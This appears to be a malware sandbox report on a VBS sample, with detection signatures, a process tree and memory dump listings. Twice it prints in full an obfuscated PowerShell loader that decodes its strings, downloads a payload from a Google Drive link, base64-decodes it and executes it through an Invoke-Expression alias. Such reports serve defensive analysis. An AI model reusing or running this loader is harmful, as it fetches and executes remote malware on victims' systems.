Analysis
- max time kernel
91s - max time network
123s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
28/03/2024, 02:45
General
- Target f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a.vbs
- Size 178KB
- Sample240328-c87pjsdd6x
- SHA256 f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f8e3cac8de2e01c04c8fcf7dd92d9c3187a5a53e40b9c22e4be574bd71217a7a.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sugernes Frimrkesamler bibelskolen Rezoned kolonialist Trskreriers Rentemarginal #>;$Serafiskes239=(cmd /c set /A 115^^0);Function Joysome ([String]$Arbejdsbeholdningerne){$Serafiskes239=[char][int]$Serafiskes239;$Tiltyard=$Serafiskes239+'ubstring';$Grasserie=8;$Dichroite=Macrodactyl($Arbejdsbeholdningerne);For($Idyls=7; $Idyls -lt $Dichroite; $Idyls+=$Grasserie){$Katakinesis=$Arbejdsbeholdningerne.$Tiltyard.Invoke($Idyls, 1);$Travers=$Travers+$Katakinesis;}$Travers;}function Tatovrens ($Balancekontoens){& ($Bristefrdige) ($Balancekontoens);}function Macrodactyl ([String]$Motorism){$pronounce=$Motorism.Length-1;$pronounce;}$betalingsdagenes=Joysome 'NonvitaTPalaeenr LewiunaGorillan Supr msHo,gastfOverskueStalagmrNonequar Ro.anciFoo falnZyz.yvagRoomtht ';$Fyldte=Joysome 'Frem,ykhSkuldertstivmewtDamfoolpAnalysesGramino:Convoca/Microso/DilapiddScenegurE,velopiLevelhevE hanimeKnoglem.Knit,ergSpdest.o Ye.ggeoRek,isigTrmlksfl SiphoneUnpursu.HostesscRgerri.oMsurklimChemica/UnremituSpotpricDeified? rnevreesek,ionxu ansagpRentesroUntunabrPreinfltS.lvbyg= P,ogradPudi,uno LetvgtwBrutalinnong.rrlHaandfuo Pas,iaaBortsl.dJe.nban&NonprogiPrser,adPlis ys=Svineri1Moenste4PatholoA D sespvdeltaetSStammefcFormaliQYtreal.tFed.kirTSnobbisVEvaporaRjaill kC AmbuscD Unrespn Crissa7RagglesXPlanuriJDoitkinJParabolBVi.coelNUdlufteeNe.sigeGRecrystiEut cia1nonfrag-Un estoYCollo.uNIncumb.nCaution- ProletGBisksspqTokenis4KapitalMSgeproc ';$Bristefrdige=Joysome ' Vekseli Direk eSmaahanxOpaques ';$Sandboxes12=Joysome 'Sgaaend$SurrealgMedundelBrawestoUdsgtunb Ou towaDiabetelSatyrsp:IdeelledOnsdageobordenemGerman.ireint,mnfierasfodilat tbAnemarirsne,oldi TilstakSlaggink Kv.ntiefrihavnrUn ubronHesychaeMultisu Flaade=Postink kommandSBronzittA grelsaNappendrBagkldnt Stande-MultiplBPle,ishiEdriopht Ha.rdhs BestyrT S olelr FumledaUdvejninM ijasjsKartotefStatureehearthrr Exaspe Po,rcon-StimulaSDingeyso Inte cuBehovsurMoe,klac Kirke.e Procul Aff.rin$brevsamFTirithnyForhan,lWarmuppdHalefintMysticeeM,rkeds Alie.at-FormuleDSid,line,lapscuslivsenet F akkei TyvtesnCurbstoaF.mresptR dilatiBanke.doSt atagn Brnd.v Fors.s$h skendHDanskfde Pilm.exHornsgio Godkenn ForbruiPopsyigcReswea ';Tatovrens (Joysome 'Poa.hie$raff.negK mmunelPailleto Bal anbDkningsaSubalg,lUndef,c:ExplicaHent,moleConcannxKommunaoVok.enbnBalan.piBaad,skcA,garot= En,vol$PregrateBoreplanCo.orisvHolleri: Hangara unclutp Pu verp Vivos dTunnellaFlauntetha dlefaamorous ') ;Tatovrens (Joysome 'Ko sekvIProgenimTelefonpOverfrsoHypercurFulzient Fabula-DisilicMAmuserfoEjestedd TeknikuCollyrilGemmeleeSpid,vi oanmodBI,validiFlooragtN npartsmal.rneTIntensarRegistea Maln tn DonoresKnsfo.dfScrappieIn.rigirSa tour ') ;$Hexonic=$Hexonic+'\Tronflgere.Fil' ;Tatovrens (Joysome ' Palpul$NvnesfigA.cederlAvellano SolenobDomin xa.mfitealHoo.sbe:JoculatKLavmaalaUnsavorr.brotintFeminiso brigittBrneopselacinifkBomoliesBookingsHjulkrotWhiteflrLorr suuVampy,dk vlesgrtEksplosuIllegalr ante osSilketr5Graplin8 Fixa i=Frostsi(SourcenTOvertopeKanawarsForhandtLegende-HeltalsPrec uitaSkruebotLnen,eshHindbrr Stavbl$NingpoaH JorieaeSadelmax RefornoSmaakdpnunja,aniGlarmescRedning) Gniere ') ;while (-not $Kartoteksstrukturs58) {Tatovrens (Joysome 'ChristiI Chittafzoacumu Realis (Exorciz$Skom,gedReguleroStockinmRummaali ,ladbanB.aamuso,fsbninbF,eskoer Da.aeliBecensekPaido.okSportabe FeatisrCaperwonCon.ecteA derst.SignalfJForstvnoSulliedbAburaboSSparklit Photo aDign fitStepmineSemicre Sprls,e-Sp.aucheVambracqtaktl h Wonder.$BlomkaabUb.rmhje NightgtAmpliata KoblerlUnderb iDelprocn SlappegHje,nessSuccincdKontorhaTovsopigPlay,ffePumpkinnBulgarieInfantisMellerb) Punkis Le.otho{ .prinkSTidsvr.tOvergivaHgtningr,ornmout Hyperb-AtaghanSalligatlSlikkenetaskense VenskapOverstr Trange1Trevesk}RangskaeAb.eptil gruellsRve elseHeksame{ThermopSPeptidotvespaapaUnequalrRetakestTronhim- bahamaSJobmanclpelsbereL nieste KlyngepPulveri beslag1Aarsvrk;Zai.ersTComputea korreltNoblesso aismatvTumore.rDis.ocaeLigk.stnFashio.sCh ysoc underho$PredivoS RedaktaSkrivesnLuksusjdLbskkrsbJuramenoSk.ffemxKongefaeRaamorbsTangalo1Vante,s2 Passif} Trlast ');Tatovrens (Joysome 'Salgsch$EvidentgVedligelKoo dinoopdi,teb Skruk.aLynchenlSang,ai:Fdsel dKKritisaaEthiop r elek rtPlasmomoSchattet Smrbire ubclinkFremskas ForuresPinnocktHydrargr FishwiuFrontosk PrefratObituaruFriluftrChloritsCetenee5 Frdigk8 Intrad=Monosym(NaughtiT Fr.dnieHoist ns TidsfltSkrmmev-Rafleb,PGsteproaDiamanttDecrepih Tempor semibul$HandfulHEarthwaeLinelikxDecongeoAsmin sn HankeliUnoratocMa chen)pseu,oo ') ;}Tatovrens (Joysome 'nonmedi$TribromgMappemolgiraffloCor entb tritoratantal.lInf.nit:SubstanU ZoltannPrebellnBoge,seiPaahngsmhanoverbLurchinlAccollse TilhrenSiriasiedextrors Testims indbru Earmark=Brsspek ,nclashG CommeneAversiot arshbe-Tils,anCVold.ifo Dra.lenPas.usstBejdspae Stal fnOverf.ltSemibur Vatika$DelmngdH Undecle KoensrxNonpondoPertlinnSocialfiForbytnc,ruttor ');Tatovrens (Joysome 'Anamnio$EserinegOutsweelOffensioConopopbDilat,raRnneboelcolu.bi: MadagaAOmniferpSkilsmioPeri,eltClayineep.keredkNonsusceFlirtatt fd els Telt.ol= Transv Simoni[FarvetaSDistan.yAntiphos Begribt Snrke,e pindsvmBotanis.StjniveCSu.erseoTrommernGrillecvOrki.xjeSlagentrTemperat Mikrof] Ligefr:Mammeys: LokaliFTimetalr Drejebo TreebimDegressBRoundela KtterasLymphaneDagpeng6Unveils4Imper,iSgente ntEnco parFornorsiIrrigatnGennemlgS uderi(Posnani$ AdevisUCopymannSlgtsrenFyldplaiGimmickmvolplanboddernel CalcimePube,aln GrnseeePhyllossScob.ntsSynkop.) ,trava ');Tatovrens (Joysome ' Sko.ne$Chemothg ForesklJolleymoTje.estbNrbilleasu,furil Landsr:Derind DLatterbi GabardoOntolo.sSa tiesp.avallay Condenr UrsicioM,ndates Organi Vognt g=Slkke,t Krympe[AmontilSConsangy,ambarusLggetcrtNaaleneeOlds.ylmgazetsk.IdentitT T talfe Hil ryx.icuspitLuftvej.UnspiraE H.moeonpilote,cErgo.omocommendd PulpieiS.ntonin Forkasg Transp]sandorm:presign:BlandsdA,innatiSProthalC UnderfIDistribIPhotoge.natu.faGStindspe Be tmatO,erflaSTidsnoetJesuitsrRu alisiSpydblanPayrol gmarnies(Havee,e$GasbehoAGuarantp Opgaveo Dybfr t MongoleUnderstk sbesteXanthiutHovedsp)Ottweil ');Tatovrens (Joysome 'Viscero$fremkalgLambyacltsemidloSmooricbGriz,leapecksnilUnpreci: Fu.dstRLyolytio Kr.gsgbskraaskiPuncticnPlagsomsBetonhooDisrespn Laparoa Dem,aud UtricleMiljk,asRefree = Vent s$ ,eportDGlottaliEned.reoSlyngbos Chaisep ForsknyUopholdrFloppyso Sand.isPhra er.SterlansSluiceluPhantopbKelt sksE uitabtcol,ybirFrdselsiLette.fnFjeldryg Tjurhn(Perdil.3 Ngstem0Foreswe5Miscond1Suf,ict9huledee8Fyldepe,Gardinp3Hemmeli2Hofmars5Isdanne7Empover9klagefr) Non ev ');Tatovrens $Robinsonades;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^03⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Sugernes Frimrkesamler bibelskolen Rezoned kolonialist Trskreriers Rentemarginal #>;$Serafiskes239=(cmd /c set /A 115^^0);Function Joysome ([String]$Arbejdsbeholdningerne){$Serafiskes239=[char][int]$Serafiskes239;$Tiltyard=$Serafiskes239+'ubstring';$Grasserie=8;$Dichroite=Macrodactyl($Arbejdsbeholdningerne);For($Idyls=7; $Idyls -lt $Dichroite; $Idyls+=$Grasserie){$Katakinesis=$Arbejdsbeholdningerne.$Tiltyard.Invoke($Idyls, 1);$Travers=$Travers+$Katakinesis;}$Travers;}function Tatovrens ($Balancekontoens){& ($Bristefrdige) ($Balancekontoens);}function Macrodactyl ([String]$Motorism){$pronounce=$Motorism.Length-1;$pronounce;}$betalingsdagenes=Joysome 'NonvitaTPalaeenr LewiunaGorillan Supr msHo,gastfOverskueStalagmrNonequar Ro.anciFoo falnZyz.yvagRoomtht ';$Fyldte=Joysome 'Frem,ykhSkuldertstivmewtDamfoolpAnalysesGramino:Convoca/Microso/DilapiddScenegurE,velopiLevelhevE hanimeKnoglem.Knit,ergSpdest.o Ye.ggeoRek,isigTrmlksfl SiphoneUnpursu.HostesscRgerri.oMsurklimChemica/UnremituSpotpricDeified? rnevreesek,ionxu ansagpRentesroUntunabrPreinfltS.lvbyg= P,ogradPudi,uno LetvgtwBrutalinnong.rrlHaandfuo Pas,iaaBortsl.dJe.nban&NonprogiPrser,adPlis ys=Svineri1Moenste4PatholoA D sespvdeltaetSStammefcFormaliQYtreal.tFed.kirTSnobbisVEvaporaRjaill kC AmbuscD Unrespn Crissa7RagglesXPlanuriJDoitkinJParabolBVi.coelNUdlufteeNe.sigeGRecrystiEut cia1nonfrag-Un estoYCollo.uNIncumb.nCaution- ProletGBisksspqTokenis4KapitalMSgeproc ';$Bristefrdige=Joysome ' Vekseli Direk eSmaahanxOpaques ';$Sandboxes12=Joysome 'Sgaaend$SurrealgMedundelBrawestoUdsgtunb Ou towaDiabetelSatyrsp:IdeelledOnsdageobordenemGerman.ireint,mnfierasfodilat tbAnemarirsne,oldi TilstakSlaggink Kv.ntiefrihavnrUn ubronHesychaeMultisu Flaade=Postink kommandSBronzittA grelsaNappendrBagkldnt Stande-MultiplBPle,ishiEdriopht Ha.rdhs BestyrT S olelr FumledaUdvejninM ijasjsKartotefStatureehearthrr Exaspe Po,rcon-StimulaSDingeyso Inte cuBehovsurMoe,klac Kirke.e Procul Aff.rin$brevsamFTirithnyForhan,lWarmuppdHalefintMysticeeM,rkeds Alie.at-FormuleDSid,line,lapscuslivsenet F akkei TyvtesnCurbstoaF.mresptR dilatiBanke.doSt atagn Brnd.v Fors.s$h skendHDanskfde Pilm.exHornsgio Godkenn ForbruiPopsyigcReswea ';Tatovrens (Joysome 'Poa.hie$raff.negK mmunelPailleto Bal anbDkningsaSubalg,lUndef,c:ExplicaHent,moleConcannxKommunaoVok.enbnBalan.piBaad,skcA,garot= En,vol$PregrateBoreplanCo.orisvHolleri: Hangara unclutp Pu verp Vivos dTunnellaFlauntetha dlefaamorous ') ;Tatovrens (Joysome 'Ko sekvIProgenimTelefonpOverfrsoHypercurFulzient Fabula-DisilicMAmuserfoEjestedd TeknikuCollyrilGemmeleeSpid,vi oanmodBI,validiFlooragtN npartsmal.rneTIntensarRegistea Maln tn DonoresKnsfo.dfScrappieIn.rigirSa tour ') ;$Hexonic=$Hexonic+'\Tronflgere.Fil' ;Tatovrens (Joysome ' Palpul$NvnesfigA.cederlAvellano SolenobDomin xa.mfitealHoo.sbe:JoculatKLavmaalaUnsavorr.brotintFeminiso brigittBrneopselacinifkBomoliesBookingsHjulkrotWhiteflrLorr suuVampy,dk vlesgrtEksplosuIllegalr ante osSilketr5Graplin8 Fixa i=Frostsi(SourcenTOvertopeKanawarsForhandtLegende-HeltalsPrec uitaSkruebotLnen,eshHindbrr Stavbl$NingpoaH JorieaeSadelmax RefornoSmaakdpnunja,aniGlarmescRedning) Gniere ') ;while (-not $Kartoteksstrukturs58) {Tatovrens (Joysome 'ChristiI Chittafzoacumu Realis (Exorciz$Skom,gedReguleroStockinmRummaali ,ladbanB.aamuso,fsbninbF,eskoer Da.aeliBecensekPaido.okSportabe FeatisrCaperwonCon.ecteA derst.SignalfJForstvnoSulliedbAburaboSSparklit Photo aDign fitStepmineSemicre Sprls,e-Sp.aucheVambracqtaktl h Wonder.$BlomkaabUb.rmhje NightgtAmpliata KoblerlUnderb iDelprocn SlappegHje,nessSuccincdKontorhaTovsopigPlay,ffePumpkinnBulgarieInfantisMellerb) Punkis Le.otho{ .prinkSTidsvr.tOvergivaHgtningr,ornmout Hyperb-AtaghanSalligatlSlikkenetaskense VenskapOverstr Trange1Trevesk}RangskaeAb.eptil gruellsRve elseHeksame{ThermopSPeptidotvespaapaUnequalrRetakestTronhim- bahamaSJobmanclpelsbereL nieste KlyngepPulveri beslag1Aarsvrk;Zai.ersTComputea korreltNoblesso aismatvTumore.rDis.ocaeLigk.stnFashio.sCh ysoc underho$PredivoS RedaktaSkrivesnLuksusjdLbskkrsbJuramenoSk.ffemxKongefaeRaamorbsTangalo1Vante,s2 Passif} Trlast ');Tatovrens (Joysome 'Salgsch$EvidentgVedligelKoo dinoopdi,teb Skruk.aLynchenlSang,ai:Fdsel dKKritisaaEthiop r elek rtPlasmomoSchattet Smrbire ubclinkFremskas ForuresPinnocktHydrargr FishwiuFrontosk PrefratObituaruFriluftrChloritsCetenee5 Frdigk8 Intrad=Monosym(NaughtiT Fr.dnieHoist ns TidsfltSkrmmev-Rafleb,PGsteproaDiamanttDecrepih Tempor semibul$HandfulHEarthwaeLinelikxDecongeoAsmin sn HankeliUnoratocMa chen)pseu,oo ') ;}Tatovrens (Joysome 'nonmedi$TribromgMappemolgiraffloCor entb tritoratantal.lInf.nit:SubstanU ZoltannPrebellnBoge,seiPaahngsmhanoverbLurchinlAccollse TilhrenSiriasiedextrors Testims indbru Earmark=Brsspek ,nclashG CommeneAversiot arshbe-Tils,anCVold.ifo Dra.lenPas.usstBejdspae Stal fnOverf.ltSemibur Vatika$DelmngdH Undecle KoensrxNonpondoPertlinnSocialfiForbytnc,ruttor ');Tatovrens (Joysome 'Anamnio$EserinegOutsweelOffensioConopopbDilat,raRnneboelcolu.bi: MadagaAOmniferpSkilsmioPeri,eltClayineep.keredkNonsusceFlirtatt fd els Telt.ol= Transv Simoni[FarvetaSDistan.yAntiphos Begribt Snrke,e pindsvmBotanis.StjniveCSu.erseoTrommernGrillecvOrki.xjeSlagentrTemperat Mikrof] Ligefr:Mammeys: LokaliFTimetalr Drejebo TreebimDegressBRoundela KtterasLymphaneDagpeng6Unveils4Imper,iSgente ntEnco parFornorsiIrrigatnGennemlgS uderi(Posnani$ AdevisUCopymannSlgtsrenFyldplaiGimmickmvolplanboddernel CalcimePube,aln GrnseeePhyllossScob.ntsSynkop.) ,trava ');Tatovrens (Joysome ' Sko.ne$Chemothg ForesklJolleymoTje.estbNrbilleasu,furil Landsr:Derind DLatterbi GabardoOntolo.sSa tiesp.avallay Condenr UrsicioM,ndates Organi Vognt g=Slkke,t Krympe[AmontilSConsangy,ambarusLggetcrtNaaleneeOlds.ylmgazetsk.IdentitT T talfe Hil ryx.icuspitLuftvej.UnspiraE H.moeonpilote,cErgo.omocommendd PulpieiS.ntonin Forkasg Transp]sandorm:presign:BlandsdA,innatiSProthalC UnderfIDistribIPhotoge.natu.faGStindspe Be tmatO,erflaSTidsnoetJesuitsrRu alisiSpydblanPayrol gmarnies(Havee,e$GasbehoAGuarantp Opgaveo Dybfr t MongoleUnderstk sbesteXanthiutHovedsp)Ottweil ');Tatovrens (Joysome 'Viscero$fremkalgLambyacltsemidloSmooricbGriz,leapecksnilUnpreci: Fu.dstRLyolytio Kr.gsgbskraaskiPuncticnPlagsomsBetonhooDisrespn Laparoa Dem,aud UtricleMiljk,asRefree = Vent s$ ,eportDGlottaliEned.reoSlyngbos Chaisep ForsknyUopholdrFloppyso Sand.isPhra er.SterlansSluiceluPhantopbKelt sksE uitabtcol,ybirFrdselsiLette.fnFjeldryg Tjurhn(Perdil.3 Ngstem0Foreswe5Miscond1Suf,ict9huledee8Fyldepe,Gardinp3Hemmeli2Hofmars5Isdanne7Empover9klagefr) Non ev ');Tatovrens $Robinsonades;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c set /A 115^^04⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5116 -s 24404⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5116 -ip 51161⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Forlagde.txt
Forlagde.txt
Forlagde.txt
Forlagde.txt
__PSScriptPolicyTest_40f1kmaj.yjs.ps1
memory/4196-257-0x00007FFF0ADE0000-0x00007FFF0B8A1000-memory.dmp
memory/4196-253-0x000001B64BC80000-0x000001B64BCA2000-memory.dmp
memory/4196-258-0x000001B64BD20000-0x000001B64BD30000-memory.dmp
memory/4196-259-0x000001B64BD20000-0x000001B64BD30000-memory.dmp
memory/4196-260-0x000001B64BCF0000-0x000001B64BD16000-memory.dmp
memory/4196-261-0x000001B64C950000-0x000001B64C964000-memory.dmp
memory/4196-262-0x000001B64BD20000-0x000001B64BD30000-memory.dmp
memory/4196-292-0x00007FFF0ADE0000-0x00007FFF0B8A1000-memory.dmp
memory/5116-265-0x00000000049B0000-0x00000000049C0000-memory.dmp
memory/5116-282-0x00000000073D0000-0x0000000007A4A000-memory.dmp
memory/5116-266-0x0000000004FF0000-0x0000000005618000-memory.dmp
memory/5116-267-0x0000000004CB0000-0x0000000004CD2000-memory.dmp
memory/5116-268-0x0000000004D50000-0x0000000004DB6000-memory.dmp
memory/5116-269-0x0000000004E30000-0x0000000004E96000-memory.dmp
memory/5116-279-0x0000000005620000-0x0000000005974000-memory.dmp
memory/5116-280-0x0000000005B80000-0x0000000005B9E000-memory.dmp
memory/5116-281-0x0000000005BC0000-0x0000000005C0C000-memory.dmp
memory/5116-264-0x0000000074CF0000-0x00000000754A0000-memory.dmp
memory/5116-283-0x0000000006170000-0x000000000618A000-memory.dmp
memory/5116-284-0x0000000006DF0000-0x0000000006E86000-memory.dmp
memory/5116-285-0x0000000006DA0000-0x0000000006DC2000-memory.dmp
memory/5116-286-0x0000000008000000-0x00000000085A4000-memory.dmp
memory/5116-287-0x0000000007010000-0x0000000007032000-memory.dmp
memory/5116-288-0x0000000007070000-0x0000000007084000-memory.dmp
memory/5116-289-0x0000000074CF0000-0x00000000754A0000-memory.dmp
memory/5116-263-0x0000000002270000-0x00000000022A6000-memory.dmp